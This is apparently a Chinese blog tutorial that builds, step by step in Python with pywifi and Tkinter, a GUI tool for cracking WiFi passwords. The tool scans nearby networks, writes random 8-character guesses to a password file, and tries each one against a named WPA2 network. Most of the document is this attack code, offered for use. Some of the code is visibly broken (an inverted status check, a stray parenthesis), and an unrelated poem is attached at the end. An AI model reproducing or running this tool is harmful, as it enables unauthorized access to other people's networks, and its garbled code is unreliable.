第一步:判断自己笔记本电脑是否有无线网卡
import pywifi
from pywifi import const #引入一些常量
#判断是否有无线网卡
def gic():
wifi = pywifi.PyWiFi() #创建一个无线对象
#print(wifi)
ifaces = wifi.interfaces()[0] #获取无线网卡,一般是电脑的第一块网卡
print(ifaces) #输出自己的网卡信息
print(ifaces.status()) #判断自己的网卡是否处于连接状态
if ifaces.status() == const.IFACE_DISCONNECTED:
print("已连接")
else:
print("未连接")
#程序入口
if __name__ == "__main__":
#函数调用
gic()
执行结果:
第二步:扫描附件的wifi
import pywifi
from pywifi import const
#扫描附件的wifi
def bies():
wifi = pywifi.PyWiFi()) #创建一个无线对象
iface = wifi.interfaces()[0] #获取无线网卡,一般是电脑的第一块网卡
res = iface.scan_results() #扫描附近wifi
#print(res)
for data in res:
print(data.ssid) #获取扫描之后的结果
#程序入口
if __name__ == "__main__":
#函数调用
bies()
执行结果:
第三步:创建简单窗口
#创建窗口
root = Tk()
#窗口的标题
root.title("WIFI破解")
#窗口的大小 小写的x #窗口的位置
root.geometry('500x400+550+260')
#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置 定位 网格布局 pack 包 place 位置
label.grid()
#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)
#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)
#按钮
#button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)
button = Button(root,text = '开始破解',width = 20,height=2)
button.grid(row = 2,columnspan = 2)
#显示窗口 消息循环
root.mainloop()
执行结果:
第四步:密码字典生成
import string as st #导入字符
import random #导入随机函数
passwordrange = st.digits + st.ascii_letters # 生成字符串
#定义函数
def ran_pass(num):
letter = ""
for i in range(num):
letter += random.choice(passwordrange)
return letter
def wri_pass(passwd):
path = r"I:\pythonfile\0918\wifipwd.txt"
with open(path,"a") as des_file:
des_file.write(passwd+"\n")
if __name__ == "__main__":
for i in range(10):
passwd = ran_pass(8)#调用函数随机生成8位密码
print(passwd)
wri_pass(passwd)
执行结果:
第五步:读取密码本
def readPwd():
#获取wifi名称
path = r"I:\pythonfile\0918\wifipwd.txt"
file = open(path,"r")
while True:
try:
mystr = file.readline() #读取密码本
if mystr == "": #读取到最后一行,结束读取
break
else:
print(mystr)
except:
#跳出当前循环,继续下一次循环
continue
if __name__ == "__main__":
readPwd()
执行结果:
第六步:密码破解
import pywifi
from pywifi import const
import pywifi
import time
def wificonnect(str): #str传入密码本
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
#print(ifaces.name())
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "wcp" #wifi名称
profile.akm.append(const.AKM_TYPE_WPA2PSK) #WiFi使用的加密算法
profile.key = str #wifi的密码
profile.auth = const.AUTH_ALG_OPEN #网卡的开发
ifaces.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = ifaces.add_network_profile(profile) #设定新的连接文件
ifaces.connect(tmp_profile)
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已经连接")
执行结果:
完整代码过程
from tkinter import *
import pywifi
from pywifi import const
import pywifi
import time
#导入模块
#获取第一个无线网卡
#断开所有的wifi
#读取密码本
#设置睡眠时间
#测试连接函数
def wificonnect(str,wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
#print(ifaces.name())
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密算法
#wifi的密码
profile.key = str
#网卡的开发
profile.auth = const.AUTH_ALG_OPEN
#删除所有的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tmp_profile = ifaces.add_network_profile(profile)
ifaces.connect(tmp_profile)
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已经连接")
def readPwd():
#获取wifi名称
wifiname = entry.get() #获取文本框输入的WiFi账号
#print(wifiname)
path = r"I:\pythonfile\0918\wifipwd.txt"
file = open(path,"r")
while True:
try:
#读取密码本
mystr = file.readline()
#print(mystr)
if mystr == "":
break
else:
#print(mystr)
#测试链接
bool = wificonnect(mystr,wifiname) # 调用账号和密码匹配函数
if mystr == const.IFACE_CONNECTED:
bool = True
if bool:
#print("密码正确",mystr)
text.insert(END,"密码正确"+mystr)
text.see(END)
text.update()
else:
#print("密码错误",mystr)
text.insert(END,"密码错误"+mystr)
text.see(END)
text.update()
except:
#跳出当前循环,继续下一次循环
continue
#创建窗口
root = Tk()
#窗口的标题
root.title("WIFI破解")
#窗口的大小 小写的x #窗口的位置
root.geometry('500x400+550+260')
#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置 定位 网格布局 pack 包 place 位置
label.grid()
#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)
#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)
#按钮
button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd) # 点击按钮触发事件
button.grid(row = 2,columnspan = 2)
#显示窗口 消息循环
root.mainloop()
执行结果:
灯塔
风声吹动风声,叹息穿过叹息----
当船队侧身而过,灯塔恋恋不舍,
在茫茫黑夜里,在荒凉的瀚海中。
血养荆棘,花开似锦。